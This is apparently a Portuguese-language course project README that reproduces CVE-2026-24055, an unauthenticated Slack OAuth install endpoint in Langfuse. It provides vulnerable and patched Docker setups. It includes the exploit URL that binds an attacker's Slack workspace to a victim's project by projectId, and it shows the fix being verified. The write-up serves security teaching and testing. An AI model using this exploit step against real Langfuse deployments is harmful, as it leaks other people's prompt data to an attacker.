
Demonstração educacional de exploração do CVE-2026-24055 visando instalação não autenticada do Slack OAuth no Langfuse, com ambientes Docker vulneráveis e corrigidos para testes práticos de segurança.
Projeto da disciplina de Segurança Web e de Aplicações — Grupo 06, turma NT213.Q21.ANTT
O projeto reproduz uma vulnerabilidade de segurança real já divulgada (CVE-2026-24055) na plataforma Langfuse — um endpoint OAuth que permite a um atacante assumir a conexão de um workspace do Slack a um projeto de outra pessoa sem precisar de autenticação.
O projeto inclui: montagem de um ambiente Docker que simula tanto a versão vulnerável quanto a versão corrigida, execução do exploit passo a passo e verificação de que a correção funciona corretamente. Com isso, pratica-se a análise de vulnerabilidades de Controle de Acesso no fluxo OAuth, uma habilidade aplicável diretamente na construção ou auditoria de sistemas de autenticação web.
Habilidades demonstradas: análise de fluxo OAuth2, Docker, leitura de security advisories, redação de relatórios técnicos, testes de segurança (security testing).
CVE-2026-24055 é uma vulnerabilidade de Improper Access Control no Langfuse da versão 3.89.0 até 3.146.0.
O endpoint /api/public/slack/install não exige autenticação, permitindo que o atacante vincule seu workspace do Slack a qualquer projeto apenas conhecendo o projectId. Quando a vítima cria uma automação que envia notificações ao Slack, todo o conteúdo do prompt vaza para o workspace do atacante.
| Atributo | Detalhe |
|---|---|
| CWE | CWE-284 — Improper Access Control |
| Versões afetadas | Langfuse 3.89.0 – 3.146.0 |
| Versão corrigida | Langfuse 3.147.0 |
| GitHub Advisory | GHSA-pvq7-vvfj-p98x |
| NVD | CVE-2026-24055 |

| Ferramenta | Versão mínima |
|---|---|
| Docker Desktop | 24.0+ |
| Docker Compose | v2 |
| Git | qualquer |
| RAM | 8 GB |
A API do Slack permite usar
http://localhost:3000como Redirect URL.
http://localhost:3000
cd vulnerable
cp .env.example .env
Abra o arquivo .env e preencha os seguintes valores:
NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string
docker compose up -d
Verifique se os containers estão prontos:
docker compose ps
Aguarde cerca de 30–60 segundos. Todos os containers devem estar no estado
Up (healthy).
Acesse http://localhost:3000:
Conta da vítima
Conta do atacante
No navegador do atacante (sem precisar de login no Langfuse), acesse:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
O fluxo ocorre assim:
Faça login com a conta da vítima:
Prompt created / updated / deletedSlack → escolha o canalcd ../vulnerable
docker compose down
cd ../patched
cp .env.example .env
# Preencha os valores iguais aos da parte vulnerable
docker compose up -d
Tente sem fazer login:
http://localhost:3000/api/public/slack/install?projectId=<any-project-id>
Resultado esperado — HTTP 401:
{ "error": "Authentication required" }
Tente fazer login como atacante, usando o projectId da vítima:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
Resultado esperado — HTTP 403:
{ "error": "You do not have permission to configure Slack for this project" }
A vulnerabilidade foi totalmente corrigida.
docker compose down
Se quiser apagar todos os dados (volumes):
docker compose down -v
cve-2026-24055/
├── README.md ← este arquivo
├── vulnerable/
│ ├── docker-compose.yml ← Langfuse v3.146.0 (vulnerável)
│ └── .env.example
└── patched/
├── docker-compose.yml ← Langfuse v3.147.0 (corrigido)
└── .env.example